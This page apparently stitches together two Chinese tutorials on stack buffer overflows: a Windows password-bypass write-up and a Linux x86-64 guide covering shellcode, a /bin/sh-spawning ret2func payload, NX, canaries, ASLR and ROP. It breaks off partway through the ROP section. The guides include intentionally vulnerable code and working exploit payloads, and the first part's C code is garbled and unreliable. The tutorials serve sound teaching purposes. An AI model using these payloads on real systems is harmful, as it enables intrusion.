精华内容
下载资源
问答
  • Step1:新建一个名称为 pwd.txt 的文件,并使用记事本程序打开,输入 5 个“4321”, 栈溢出攻击学习与实践 入侵检测 第 2 张 图 2 Step2:保存,关闭记事本并用 UltraEdit 打开,如图 3 所示。 栈溢出攻击学习与...

    栈结构及形成过程

    一个进程可能被加载到内存中不同的区域执行。进程运行所使用的内存空间按照功能,大致都能分成以下 4 个部分:

    数据区:用来存储全局变量等。

    栈区:用来存储函数之间的调用关系,以保证被调用函数在返回时恢复到母函数中继续执行。

    堆区:动态分配与回收是堆区的最大特点,进程能够动态的申请一定大小的缓冲,并在用完之后归还给堆区。

    代码区:存储 CPU 所执行的机器码,CPU 会到这个区域来读取指令并执行。

    其中栈区由系统自动维护,它实现了高级语言中的函数调用。对于 C 语言等高级语言,栈区的 PUSH、POP 等平衡堆栈细节是透明的。请看如下代码:

    intfunction_b(intargument_B1,intargument_B2)

    {

    intvariable_b1,variable_b2;

    variable_b1=argument_B1+argument_B2;

    variable_b2=argument_B1-argument_B2;

    returnvariable_b1variable_b2;

    }

    intfunction_a(intargument_A1,intargument_A2)

    {

    intvariable_a;

    variable_a=function_b(argument_A1,argument_A2)+argument_A1;

    returnvariable_a;

    }

    intmain(intargumentc,charargumentv,charenvp)

    {

    intvariable_main;

    variable_main=function_a(4,3);

    returnvariable_main;

    }

    同一文件不同函数的代码,在内存代码区中的分布可能先后有序也可能无序,相邻也可能相离甚远。

    当 CPU 执行调用 function_a 函数时,会从代码区中 main 方法对应的二进制代码的区域跳转到 function_a 函数对应的二进制代码区域,在那里获取指令并执行;当 function_a 函数执行完闭,需要返回时,又会跳回到 main 方法对应的指令区域,紧接着调用 function_a 后面的指令继续执行 main 方法的代码。

    这些代码区中精确的跳转都是通过与栈区巧妙的配合完成的。当函数调用发生时,栈区会为这个函数开辟一个新的栈区单元,并将它压入栈中。这个栈区单元中的内存空间被它所属的函数独占,正常情况下是不会和别的函数共享的。当函数返回时,栈区会弹出该函数所对应的栈区单元。

    在函数调用的过程中,伴随的栈区中的操作如下:

    在 main 方法调用 function_a 时,先在自己的栈区单元中压入函数返回地址,而后为 function_a 创建新栈区单元压入栈区。

    在 function_a 调用 function_b 时,同样先在自己的栈区单元中压入函数返回地址,然后为 function_b 创建新栈区单元并压入栈区。

    在 function_b 返回时,function_b 的栈区单元被弹出栈区,function_a 栈区单元中的返回地址“露”出栈顶,此时处理器按照这个返回地址重新跳到 function_a 代码区中执行。

    在 function_a 返回时,function_a 的栈区单元被弹出栈区,main 方法栈区单元中的返回地址“露”出栈顶,此时处理器按照这个返回地址跳到 main 方法代码区中执行。

    每一个函数独占自己的栈区单元空间,当前正在运行的函数的栈区单元总是在栈顶。

    Win32 系统提供两个特殊的寄存器用来标识位于栈区栈顶的栈区单元。

    ESP:栈指针寄存器,其内存放着指向栈区最上面一个栈区单元的栈顶的指针。

    EBP:基址指针寄存器,其内存放着指向栈区最上面一个栈区单元的底部的指针。

    函数栈区单元:ESP 和 EBP 之间的内存空间为当前栈区单元,EBP 标识了当前栈区单元的底部,ESP 标识了当前栈区单元的顶部。在函数栈区单元中一般包含以下几类重要信息:

    局部变量:为函数局部变量开辟内存空间。

    栈区单元状态值:保存前栈区单元的顶部和底部(实际上只保存前栈区单元的底部,前栈区单元的顶部能够通过平衡堆栈计算得到),用来在本帧被弹出后,恢复上一个栈区单元。

    函数返回地址:保存当前函数调用前的“断点”信息,也就是函数调用前的指令位置,以便函数返回时能够恢复到函数被调用前的代码区中继续执行指令。函数调用发生时用到的指令大致如下:调用前 push 参数 C;push 参数 Bpush 参数 A

    call 函数地址;call 指令完成两项工作:向栈中压入返回地址;跳转;

    函数开始处代码形式

    pushebp;保存旧栈区单元的底部

    movebp,esp;栈区单元切换

    subesp,xxx;抬高栈顶,开辟新栈区单元空间

    函数调用大约包括以下几个步骤:

    1)参数入栈:将参数从右向左依次压入栈区中。

    2)返回地址入栈:将当前代码区调用指令的下一条指令地址压入栈中,供函数返回时继续执行。

    3)代码区跳转:处理器从当前代码区跳转到被调用函数的入口处。

    4)栈区单元调整:具体包括保存当前栈区单元状态值,EBP 入栈;将当前栈区单元切换到新栈区单元,将 ESP 值装入 EBP,更新栈区单元底部;给新栈区单元分配空间,将 ESP 减去所需空间的大小,抬高栈顶。

    类似的,函数返回时的汇编指令序列大致如下:

    addxxx,esp;回收当前的栈区单元 popebp;恢复上一个栈区单元底部位置 retn;有两个功能:即弹出栈区单元中的返回地址,让处理器恢复调用前的代码区函数返回的步骤如下:

    1)通常将返回值保存在 EAX 中。

    2)弹出当前栈区单元,恢复上一个栈区单元。具体包括平衡堆栈的基础上,给 ESP 加上栈区单元的大小,回收当前栈区单元的空间;将保存的前栈区单元 EBP 值弹入 EBP 寄存器,恢复出上一个栈区单元;将函数返回地址弹给 EIP 寄存器;跳转:按照函数返回地址继续执行母函数。

    栈区结构就是按照这样的函数调用约定组织起来的。

    栈溢出攻击实践

    本实践是我自己手写了一个简单的 C 语言程序(VC6.0 编译),然后通过溢出栈区,覆盖函数的返回地址,从而改变程序的执行流程,以达到攻击效果。

    程序代码如下:

    #include

    #definePWD"1234567"

    intverify_pwd(charpwd)

    {

    intright;

    charbuf[8];

    right=strcmp(pwd,PWD);

    strcpy(buf,pwd);//overflowedhere!

    returnright;

    }

    main()

    {

    intflag_valid=0;

    charpwd[1024];

    FILE*fp;

    if(!(fp=fopen("pwd.txt","rw+")))

    {

    exit(0);

    }

    fscanf(fp,"%s",pwd);

    flag_valid=verify_pwd(pwd);

    if(flag_valid)

    {

    }

    printf("incorrectpwd!\n");

    Else

    {

    printf("GoodJob!Verificationpassed!\n");

    }

    fclose(fp);

    }

    首先用 OD 加载得到的可执行 PE 文件,如图 1 所示。

    栈溢出攻击学习与实践 入侵检测 第 1 张

    阅读反汇编代码,能够知道通过验证的程序分支的指令地址为 0x00401122。

    0x00401102 处的函数调用就是 verify_pwd 函数,之后在 0x0040110A 处将 EAX 中的函数返回值取出,在 0x0040110D 处与 0 比较,然后决定跳转到提示验证错误的分支或提示通过验证的分支。提示通过验证的分支,从 0x00401122 处的参数压栈开始。

    通过用 OD 调试,发现栈区单元中的变量分布情况基本没变,这样就能够按照如下方法构造 pwd.txt 中的数据了。

    为了字节对齐并且方便辨认,将“4321”作为一个串块。buf[8]共需要 2 个这样的单元,第 3 个串块将 right 覆盖,第 4 个串块将前栈区单元 EBP 值覆盖,第 5 个串块将函数返回地址覆盖。

    为了将第 5 个串块的 ASCII 码值(0x34333231)改为通过验证分支指令的地址(0x00401122),借助十六进制编辑工具来完成(我用的 UltraEdit),因为部分 ASCII 码所对应符号无法用键盘输入。

    Step1:新建一个名称为 pwd.txt 的文件,并使用记事本程序打开,输入 5 个“4321”,

    栈溢出攻击学习与实践 入侵检测 第 2 张

    图 2

    Step2:保存,关闭记事本并用 UltraEdit 打开,如图 3 所示。

    栈溢出攻击学习与实践 入侵检测 第 3 张

    图 3

    Step3:将 UltraEdit 的编辑模式切换到十六进制,如图 4 所示。

    栈溢出攻击学习与实践 入侵检测 第 4 张

    Step4:将最后 4 个字节改为新的函数返回地址,如图 5 所示。

    栈溢出攻击学习与实践 入侵检测 第 5 张

    Step5:此时再切换回文本编辑模式,最后的 4 个字节的对应字符显示结果为乱码,如图 6 所示。

    栈溢出攻击学习与实践 入侵检测 第 6 张

    将 pwd.txt 保存后,用 OD 加载程序并调试,程序运行结果如图 7 所示。

    栈溢出攻击学习与实践 入侵检测 第 7 张

    学习心得

    能看懂二进制是研究安全技术所必需的技能。信息安全技术不仅需要计算机理论基础很扎实,更需要优秀的动手、实践能力,是一个对技术性要求很高的领域。

    缓冲区溢出攻击的理论我很早就已经学习了,以为只是修改返回地址将 CPU 指到缓冲区中的恶意代码而已,但当自己动手实践时,才发现实际情形原来比原理要复杂很多。信息安全需要有强烈的兴趣做动力,还需要有能够为了梦想持之以恒的坚定意志。

    欢迎大家来我的博客:http://www.weixianmanbu.com/

    展开全文
  • 下面介绍最经典的栈溢出攻击方法:将想要执行的指令机器码写到name数组中,然后改写函数返回地址为name的起始地址,这样ret命令执行后将会跳转到name起始地址,开始执行name数组中的机器码。 我们将用这种方法执行...

    0. 引言

    如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入---处理---输出” 流程的程序:

    #include

    int main() {

    char name[64];

    printf("What's your name?");

    scanf("%s", name);

    printf("Hello, %s!\n", name);

    return 0;

    }

    也许这段小程序给你带来了小小的成就感,也许直到课程结束也没人说这个程序有什么不对,也许你的老师在第一时间就指出这段代码存在栈溢出的漏洞,也许你后来又看到无数的文章指出这个问题同时强调千万要慎用scanf函数,也许你还知道stackoverflow是最好的程序员网站。。。

    但可能从来没有人告诉你,什么是栈溢出、栈溢出有什么危害、黑客们可以利用栈溢出来进行什么样的攻击,还有你最想知道的,他们是如何利用栈溢出来实现攻击的,以及如何防护他们的攻击。

    本文将一一为你解答这些问题。

    1. 准备工具及知识

    你需要准备以下工具:

    一台64位Linux操作系统的x86计算机(虚拟机也可)

    gcc编译器、gdb调试器以及nasm汇编器(安装命令:sudo apt-get install build-essential gdb nasm)

    本文中所有代码均在Debian8.1(amd64)、gcc4.9.2、gdb7.7.1和nasm2.11.05以下运行通过,如果你使用的版本不一致,编译选项和代码中的有关数值可能需要根据实际情况略作修改。

    你需要具备以下基础知识:

    熟练使用C语言、熟悉gcc编译器以及Linux操作系统

    熟悉x86汇编,熟练使用mov, push, pop, jmp, call, ret, add, sub这几个常用命令

    了解函数的调用过程以及调用约定

    考虑到大部分学校里面使用的x86汇编教材都是32位、windows平台下的,这里简单介绍一下64位Linux平台下的汇编的不同之处(如果你已熟悉Linux下的X86-64汇编,那你可以跳过以下内容,直接阅读第2节):

    第一个不同之处在于寄存器,64位的寄存器有rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, rip等,对应32位的eax, ebx, ecx, edx, esi, edi, esp, ebp, eip,另外64位cpu中增加了r9, r10, ..., r15寄存器。

    第二个不同之处在于函数的调用约定,x86-32位架构下的函数调用一般通过栈来传递参数,而x86-64位架构下的函数调用的一般用rdi,rsi,rdx,rcx,r8和r9寄存器依次保存前6个整数型参数,浮点型参数保存在寄存器xmm0,xmm1...中,有更多的参数才通过栈来传递参数。

    第三个不同之处在于Linux系统特有的系统调用方式,Linux提供了许多很方便的系统调用(如write, read, open, fork, exec等),通过syscall指令调用,由rax指定需要调用的系统调用编号,由rdi,rsi,rdx,r10,r9和r8寄存器传递系统调用需要的参数。Linux(x64)系统调用表详见 linux system call table for x86-64。

    Linux(x64)下的Hello world汇编程序如下:

    [section .text]

    global _start

    _start:

    mov rax, 1 ; the system call for write ("1" for sys_write)

    mov rdi, 1 ; file descriptor ("1" for standard output)

    mov rsi, Msg ; string's address

    mov rdx, 12 ; string's length

    syscall

    mov rax, 0x3c ; the system call for exit("0x3c" for sys_exit)

    mov rdi, 0 ; exit code

    syscall

    Msg:

    DB "Hello world!"

    将以上代码另存为hello-x64.asm,再在终端输入以下命令:

    $ nasm -f elf64 hello-x64.asm

    $ ld -s -o hello-x64 hello-x64.o

    $ ./hello-x64

    Hello world!

    将编译生成可执行文件hello-x64,并在终端输出Hello world!。

    另外,本文所有汇编都是用intel格式写的,为了使gdb显示intel格式的汇编指令,需在home目录下新建一个.gdbinit的文件,输入以下内容并保存:

    set disassembly-flavor intel

    set disassemble-next-line on

    display

    2. 经典的栈溢出攻击

    现在回到最开始的这段程序:

    #include

    int main() {

    char name[64];

    printf("What's your name?");

    scanf("%s", name);

    printf("Hello, %s!\n", name);

    return 0;

    }

    将其另存为victim.c,用gcc编译并运行:

    $ gcc victim.c -o victim -zexecstack -g

    $ ./victim

    What's your name?Jack

    Hello, Jack!

    上面的编译选项中-g表示输出调试信息,-zexecstack的作用后面再说。先来仔细分析一下源程序,这段程序声明了一个长度为64的字节型数组,然后打印提示信息,再读取用户输入的名字,最后输出Hello和用户输入的名字。代码似乎没什么问题,name数组64个字节应该是够了吧?毕竟没人的姓名会有64个字母,毕竟我们的内存空间也是有限的。但是,往坏处想一想,没人能阻止用户在终端输入100甚至1000个的字符,当那种情况发生时,会发生什么事情?name数组只有64个字节的空间,那些多余的字符呢,会到哪里去?

    为了回答这两个问题,需要了解程序运行时name数组是如何保存在内存中的,这是一个局部变量,显然应该保存在栈上,那栈上的布局又是怎样的?让我们来分析一下程序中的汇编指令吧,先将目标程序的汇编码输出到victim.asm文件中,命令如下:

    objdump -d victim -M intel > victim.asm

    然后打开victim.asm文件,找到其中的main函数的代码:

    0000000000400576 :

    400576: 55 push rbp

    400577: 48 89 e5 mov rbp,rsp

    40057a: 48 83 ec 40 sub rsp,0x40

    40057e: bf 44 06 40 00 mov edi,0x400644

    400583: b8 00 00 00 00 mov eax,0x0

    400588: e8 b3 fe ff ff call 400440

    40058d: 48 8d 45 c0 lea rax,[rbp-0x40]

    400591: 48 89 c6 mov rsi,rax

    400594: bf 56 06 40 00 mov edi,0x400656

    400599: b8 00 00 00 00 mov eax,0x0

    40059e: e8 cd fe ff ff call 400470 <__isoc99_scanf>

    4005a3: 48 8d 45 c0 lea rax,[rbp-0x40]

    4005a7: 48 89 c6 mov rsi,rax

    4005aa: bf 59 06 40 00 mov edi,0x400659

    4005af: b8 00 00 00 00 mov eax,0x0

    4005b4: e8 87 fe ff ff call 400440

    4005b9: b8 00 00 00 00 mov eax,0x0

    4005be: c9 leave

    4005bf: c3 ret

    可以看出,main函数的开头和结尾和32位汇编中的函数几乎一样。该函数的开头的push rbp; mov rbp, rsp; sub rsp, 0x40,先保存rbp的数值,再令rbp等于rsp,然后将栈顶指针rsp减小0x40(也就是64),相当于在栈上分配长度为64的空间,main函数中只有name一个局部变量,显然这段空间就是name数组,即name的起始地址为rbp-0x40。再结合函数结尾的leave; ret,同时类比一下32位汇编中的函数栈帧布局,可以画出本程序中main函数的栈帧布局如下(请注意下图是按栈顶在上、栈底在下的方式画的):

    Stack

    +-------------+

    | ... |

    +-------------+

    | ... |

    name(-0x40)--> +-------------+

    | ... |

    +-------------+

    | ... |

    +-------------+

    | ... |

    +-------------+

    | ... |

    rbp(+0x00)--> +-------------+

    | old rbp |

    (+0x08)--> +-------------+

    | ret rip |

    +-------------+

    | ... |

    +-------------+

    | ... |

    +-------------+

    rbp即函数的栈帧基指针,在main函数中,name数组保存在rbp-0x40~rbp+0x00之间,rbp+0x00处保存的是上一个函数的rbp数值,rbp+0x08处保存了main函数的返回地址。当main函数执行完leave命令,执行到ret命令时:上一个函数的rbp数值已重新取回至rbp寄存器,栈顶指针rsp已经指向了保存这个返回地址的单元。之后的ret命令会将此地址出栈,然后跳到此地址。

    现在可以回答刚才那个问题了,如果用户输入了很多很多字符,会发生什么事情。此时scanf函数会读取第一个空格字符之前的所有字符,然后全部拷贝到name指向的地址处。若用户输入了100个“A”再回车,则栈会是下面这个样子:

    Stack

    +-------------+

    | ... |

    +-------------+

    | ... |

    name(-0x40)--> +-------------+

    | AAAAAAAA |

    +-------------+

    | AAAAAAAA |

    +-------------+

    | AAAAAAAA |

    +-------------+

    | AAAAAAAA |

    rbp(+0x00)--> +-------------+

    | AAAAAAAA | (should be "old rbp")

    (+0x08)--> +-------------+

    | AAAAAAAA | (should be "ret rip")

    +-------------+

    | AAAAAAAA |

    +-------------+

    | ... |

    +-------------+

    也就是说,上一个函数的rbp数值以及main函数的返回地址全部都被改写了,当执行完ret命令后,cpu将跳到0x4141414141414141("AAAAAAAA")地址处,开始执行此地址的指令。

    在Linux系统中,0x4141414141414141是一个非法地址,因此程序会出错并退出。但是,如果用户输入了精心挑选的字符后,覆盖在这里的数值是一个合法的地址呢?如果这个地址上恰好保存了用户想要执行的恶意的指令呢?会发生什么事情?

    以上就是栈溢出的本质,如果程序在接受用户输入的时候不对下标越界进行检查,直接将其保存到栈上,用户就有可能利用这个漏洞,输入足够多的、精心挑选的字符,改写函数的返回地址(也可以是jmp、call指令的跳转地址),由此获取对cpu的控制,从而执行任何他想执行的动作。

    下面介绍最经典的栈溢出攻击方法:将想要执行的指令机器码写到name数组中,然后改写函数返回地址为name的起始地址,这样ret命令执行后将会跳转到name起始地址,开始执行name数组中的机器码。

    我们将用这种方法执行一段简单的程序,该程序仅仅是在终端打印“Hack!”然后正常退出。

    首先要知道name的起始地址,打开gdb,对victim进行调试,输入gdb -q ./victim,再输入break *main在main函数的开头下一个断点,再输入run命令开始运行,如下:

    $ gdb -q ./victim

    Reading symbols from ./victim...done.

    (gdb) break *main

    Breakpoint 1 at 0x400576: file victim.c, line 3.

    (gdb) run

    Starting program: /home/hcj/blog/rop/ch02/victim

    Breakpoint 1, main () at victim.c:3

    3 int main() {

    => 0x0000000000400576 : 55 push rbp

    0x0000000000400577 : 48 89 e5 mov rbp,rsp

    0x000000000040057a : 48 83 ec 40 sub rsp,0x40

    (gdb)

    此时程序停留在main函数的第一条指令处,输入p &name[0]和x/gx $rsp分别查看name的起始指针和此时的栈顶指针rsp。

    (gdb) p &name[0]

    $1 = 0x7fffffffe100 "\001"

    (gdb) x/gx $rsp

    0x7fffffffe148: 0x00007ffff7a54b45

    (gdb)

    得到name的起始指针为0x7fffffffe100、此时的栈顶指针rsp为0x7fffffffe148,name到rsp之间一共0x48(也就是72)个字节,这和之前的分析是一致的。

    下面来写指令的机器码,首先写出汇编代码:

    [section .text]

    global _start

    _start:

    jmp END

    BEGIN:

    mov rax, 1

    mov rdi, 1

    pop rsi

    mov rdx, 5

    syscall

    mov rax, 0x3c

    mov rdi, 0

    syscall

    END:

    call BEGIN

    DB "Hack!"

    这段程序和第一节的Hello-x64基本一样,不同之处在于巧妙的利用了call BEGIN和pop rsi获得了字符串“Hack”的地址、并保存到rsi中。将以上代码保存为shell.asm,编译运行一下:

    $ nasm -f elf64 shell.asm

    $ ld -s -o shell shell.o

    $ ./shell

    Hack!

    然后用objdump程序提取出机器码:

    $ objdump -d shell -M intel

    ...

    0000000000400080 <.text>:

    400080: eb 1e jmp 0x4000a0

    400082: b8 01 00 00 00 mov eax,0x1

    400087: bf 01 00 00 00 mov edi,0x1

    40008c: 5e pop rsi

    40008d: ba 05 00 00 00 mov edx,0x5

    400092: 0f 05 syscall

    400094: b8 3c 00 00 00 mov eax,0x3c

    400099: bf 00 00 00 00 mov edi,0x0

    40009e: 0f 05 syscall

    4000a0: e8 dd ff ff ff call 0x400082

    4000a5: 48 61 rex.W (bad)

    4000a7: 63 6b 21 movsxd ebp,DWORD PTR [rbx+0x21]

    以上机器码一共42个字节,name到ret rip之间一共72个字节,因此还需要补30个字节,最后填上name的起始地址0x7fffffffe100。main函数执行到ret命令时,栈上的数据应该是下面这个样子的(注意最后的name起始地址需要按小端顺序保存):

    Stack

    name(0x7fffffffe100)--> +---------------------------------+

    | eb 1e (jmp END) | |

    BEGIN--> +---------------------------------+ |

    | b8 01 00 00 00 (mov eax,0x1) | |

    +---------------------------------+ |

    | bf 01 00 00 00 (mov edi,0x1) | |

    +---------------------------------+ |

    | 5e (pop rsi) | |

    +---------------------------------+ |

    | ba 05 00 00 00 (mov edx,0x5) | |

    +---------------------------------+ |

    | 0f 05 (syscall) | |

    +---------------------------------+ |

    | b8 3c 00 00 00 (mov eax,0x3c) | |

    +---------------------------------+ |

    | bf 00 00 00 00 (mov edi,0x0) | |

    +---------------------------------+ |

    | 0f 05 (syscall) | |

    END-> +---------------------------------+ |

    | e8 dd ff ff ff (call BEGIN) | |

    +---------------------------------+ |

    | 48 61 63 6b 21 ("Hack!") | |

    (0x7fffffffe12a)--> +---------------------------------+ |

    | "\x00"*30 | |

    rsp(0x7fffffffe148)--> +---------------------------------+ |

    | 00 e1 ff ff ff 7f 00 00 | ----+

    +---------------------------------+

    上图中的栈上的所有字节码就是我们需要输入给scanf函数的字符串,这个字符串一般称为shellcode。由于这段shellcode中有很多无法通过键盘输入的字节码,因此用python将其打印至文件中:

    python -c 'print "\xeb\x1e\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x5e\xba\x05\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x61\x63\x6b\x21" + "\x00"*30 + "\x00\xe1\xff\xff\xff\x7f\x00\x00"' > shellcode

    现在可以对victim进行攻击了,不过目前只能在gdb的调试环境下进行攻击。输入gdb -q ./victim,再输入run < shellcode:

    $ gdb -q ./victim

    Reading symbols from ./victim...done.

    (gdb) run < shellcode

    Starting program: /home/hcj/blog/rop/ch02/victim < shellcode

    What's your name?Hello, ����!

    Hack![Inferior 1 (process 2711) exited normally]

    (gdb)

    可以看到shellcode已经顺利的被执行,栈溢出攻击成功。

    编写shellcode需要注意两个事情:(1) 为了使shellcode被scanf函数全部读取,shellcode中不能含有空格字符(包括空格、回车、Tab键等),也就是说不能含有\x10、\x0a、\x0b、\x0c、\x20等这些字节码,否则shellcode将会被截断。如果被攻击的程序使用gets、strcpy这些字符串拷贝函数,那么shellcode中不能含有\x00。(2) 由于shellcode被加载到栈上的位置不是固定的,因此要求shellcode被加载到任意位置都能执行,也就是说shellcode中要尽量使用相对寻址。

    3. 栈溢出攻击的防护

    为了防止栈溢出攻击,最直接和最根本的办法当然是写出严谨的代码,剔除任何可能发生栈溢出的代码。但是当程序的规模大到一定的程序时,代码错误很难被发现,因此操作系统和编译器采取了一些措施来防护栈溢出攻击,主要有以下措施。

    (1) 栈不可执行机制

    操作系统可以利用cpu硬件的特性,将栈设置为不可执行的,这样上一节所述的将攻击代码放在栈上的攻击方法就无法实施了。

    上一节中gcc victim.c -o victim -zexecstack -g,其中的-zexecstack选项就是告诉操作系统允许本程序的栈可执行。去掉此选项再编译一次试试看:

    $ gcc victim.c -o victim_nx -g

    $ gdb -q ./victim_nx

    Reading symbols from ./victim_nx...done.

    (gdb) r < shellcode

    Starting program: /home/hcj/blog/rop/ch02/victim_nx < shellcode

    What's your name?Hello, ����!

    Program received signal SIGSEGV, Segmentation fault.

    0x00007fffffffe100 in ?? ()

    => 0x00007fffffffe100: eb 1e jmp 0x7fffffffe120

    (gdb)

    可以看到当程序跳转到name的起始地址0x00007fffffffe100后,尝试执行此处的指令的时候发生了一个Segmentation fault,之后就中止运行了。

    目前来说大部分程序都没有在栈上执行代码的需求,因此将栈设置为不可执行对大部分程序的正常运行都没有任何影响,因此Linux和Windows平台上默认都是打开栈不可执行机制的。

    (2) 栈保护机制

    以gcc编译器为例,编译时若打开栈保护开关,则会在函数的进入和返回的地方增加一些检测指令,这些指令的作用是:当进入函数时,在栈上、ret rip之前保存一个只有操作系统知道的数值;当函数返回时,检查栈上这个地方的数值有没有被改写,若被改写了,则中止程序运行。由于这个数值保存在ret rip的前面,因此若ret rip被改写了,它肯定也会被改写。这个数值被形象的称为金丝雀。

    让我们打开栈保护开关重新编译一下victim.c:

    $ gcc victim.c -o victim_fsp -g -fstack-protector

    $ objdump -d victim_fsp -M intel > victim_fsp.asm

    打开victim_fsp.asm找到main函数,如下:

    00000000004005d6 :

    4005d6: 55 push rbp

    4005d7: 48 89 e5 mov rbp,rsp

    4005da: 48 83 ec 50 sub rsp,0x50

    4005de: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28

    4005e5: 00 00

    4005e7: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax

    ...

    40062d: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8]

    400631: 64 48 33 14 25 28 00 xor rdx,QWORD PTR fs:0x28

    400638: 00 00

    40063a: 74 05 je 400641

    40063c: e8 4f fe ff ff call 400490 <__stack_chk_fail>

    400641: c9 leave

    400642: c3 ret

    可以看到函数的开头增加了mov rax,QWORD PTR fs:0x28; mov QWORD PTR [rbp-0x8],rax,函数退出之前增加了mov rdx,QWORD PTR [rbp-0x8]; xor rdx,QWORD PTR fs:0x28; je 400641 ; call 400490 <__stack_chk_fail>这样的检测代码。

    栈保护机制的缺点一个是开销太大,每个函数都要增加5条指令,第二个是只能保护函数的返回地址,无法保护jmp、call指令的跳转地址。在gcc4.9版本中默认是关闭栈保护机制的。

    (3) 内存布局随机化机制

    内存布局随机化就是将程序的加载位置、堆栈位置以及动态链接库的映射位置随机化,这样攻击者就无法知道程序的运行代码和堆栈上变量的地址。以上一节的攻击方法为例,如果程序的堆栈位置是随机的,那么攻击者就无法知道name数组的起始地址,也就无法将main函数的返回地址改写为shellcode中攻击指令的起始地址从而实施他的攻击了。

    内存布局随机化需要操作系统和编译器的密切配合,而全局的随机化是非常难实现的。堆栈位置随机化和动态链接库映射位置随机化的实现的代价比较小,Linux系统一般都是默认开启的。而程序加载位置随机化则要求编译器生成的代码被加载到任意位置都可以正常运行,在Linux系统下,会引起较大的性能开销,因此Linux系统下一般的用户程序都是加载到固定位置运行的。

    在Debian8.1和gcc4.9.2环境下实验,代码如下:

    #include

    char g_name[64];

    void *get_rip()

    {

    asm("\n\

    .intel_syntax noprefix\n\

    mov rax, [rbp+8]\n\

    .att_syntax\n\

    ");

    }

    int main()

    {

    char name[64];

    printf("Address of `g_name` (Global variable): %x\n", g_name);

    printf("Address of `name` (Local variable): %x\n", name);

    printf("Address of `main` (User code): %x\n", main);

    printf("Value of rip: %x\n", get_rip());

    return 0;

    }

    将以上代码另存为aslr_test.c,编译并运行几次,如下:

    $ gcc -o aslr_test aslr_test.c

    $ ./aslr_test

    Address of `g_name` (Global variable): 600a80

    Address of `name` (Local variable): d3933580

    Address of `main` (User code): 400510

    Value of rip: 400560

    $ ./aslr_test

    Address of `g_name` (Global variable): 600a80

    Address of `name` (Local variable): 512cd150

    Address of `main` (User code): 400510

    Value of rip: 400560

    可见每次运行,只有局部变量的地址是变化的,全局变量的地址、main函数的地址以及某条指令运行时刻的实际rip数值都是不变,因此程序是被加载到固定位置运行,但堆栈位置是随机的。

    动态链接库的映射位置可以用ldd命令查看,如下:

    $ ldd aslr_test

    linux-vdso.so.1 (0x00007ffe1dd9d000)

    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f26b7e71000)

    /lib64/ld-linux-x86-64.so.2 (0x00007f26b821a000)

    $ ldd aslr_test

    linux-vdso.so.1 (0x00007ffc6a771000)

    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4ec92c0000)

    /lib64/ld-linux-x86-64.so.2 (0x00007f4ec9669000)

    可见每次运行,这三个动态链接库映射到进程aslr_test中的位置都是变化的。

    4. ROP 攻击

    在操作系统和编译器的保护下,程序的栈是不可运行的、栈的位置是随机的,增大了栈溢出攻击的难度。但如果程序的加载位置是固定的、或者程序中存在加载到固定位置的可执行代码,攻击者就可以利用这些固定位置上的代码来实施他的攻击。

    考虑下面的代码,其中含有一个borrowed函数,作用是打开一个shell终端。

    #include

    #include

    void borrowed() {

    execl("/bin/sh", NULL, NULL);

    }

    int main() {

    char name[64];

    printf("What's your name?");

    scanf("%s", name);

    printf("Hello, %s!\n", name);

    return 0;

    }

    将以上代码另存为victim.c编译,并提取汇编码到victim.asm中,如下:

    $ gcc -o victim victim.c

    $ objdump -d victim -M intel > victim.asm

    打开victim.asm可以查到borrowed函数的地址为0x4050b6。因此,若攻击者利用栈溢出将main函数的返回地址改写为0x4050b6,则main函数返回时会转到borrowed函数运行,打开一个shell终端,后面就可以利用终端干很多事情了。

    现在来试一试吧:

    $ python -c 'print "\x00"*72+"\xb6\x05\x40\x00\x00\x00\x00\x00"' > shellcode

    $ cat shellcode - | ./victim

    What's your name?Hello, !

    ls

    shellcode victim victim.asm victim.c

    mkdir xxx

    ls

    shellcode victim victim.asm victim.c xxx

    rmdir xxx

    ls

    shellcode victim victim.asm victim.c

    可以看出终端被成功的打开了,并运行了ls、mkdir、rmdir命令。

    注意以上攻击命令中cat shellcode - | ./victim的-是不能省略的,否则终端打开后就会立即关闭。

    这个例子表明,攻击者可以利用程序自身的代码来实施攻击,从而绕开栈不可执行和栈位置随机化的防护。这个程序是一个特意构造的例子,实际的程序中当然不太可能埋一个borrowed函数这样的炸弹来等着人来引爆。但是,攻击者可以利用程序自身的、没有任何恶意的代码片段来组装出这样的炸弹来,这就是ROP攻击。

    ROP攻击全称为Return-oriented programming,在这种攻击中,攻击者先搜索出程序自身中存在的跳板指令(gadgets),然后将一些跳板指令串起来,组装成一段完整的攻击程序。

    跳板指令就是以ret结尾的指令(也可以是以jmp、call结尾的指令),如mov rax, 1; ret | pop rax; ret。那如何将跳板指令串起来?

    假如程序中在0x1234 | 0x5678 | 0x9abc地址处分别存在三段跳板指令mov rax, 10; ret | mov rbx, 20; ret | add rax, rbx; ret,且当前的rip指向的指令是ret,如果将0x1234 | 0x5678 | 0x9abc三个地址的数值放到栈上,如下:

    Stack Code

    rsp(+0x00)-->+-------------+ +-------------+

    | 0x1234 |--------+ | ret |

    (+0x08)-->+-------------+ | +-------------+

    | 0x5678 |-----+ | | ... |

    (+0x10)-->+-------------+ | +-->+-------------+

    | 0x9abc |--+ | | mov rax, 10 |

    +-------------+ | | +-------------+

    | ... | | | | ret |

    +-------------+ | | +-------------+

    | ... | | | | ... |

    +-------------+ | +----->+-------------+

    | ... | | | mov rbx, 20 |

    +-------------+ | +-------------+

    | ... | | | ret |

    +-------------+ | +-------------+

    | ... | | | ... |

    +-------------+ +-------->+-------------+

    | ... | | add rax,rbx |

    +-------------+ +-------------+

    | ... | | ret |

    +-------------+ +-------------+

    Equivalent codes:

    mov rax, 10

    mov rbx, 20

    add rax, rbx

    则执行完ret指令后,程序将跳转到0x1234,执行mov rax, 1; ret,后面这个ret指令又将跳转到0x5678...,之后再跳转到0x9abc,整个流程好像在顺序执行mov rax, 10; mov rbx, 20; add rax, rbx一样。

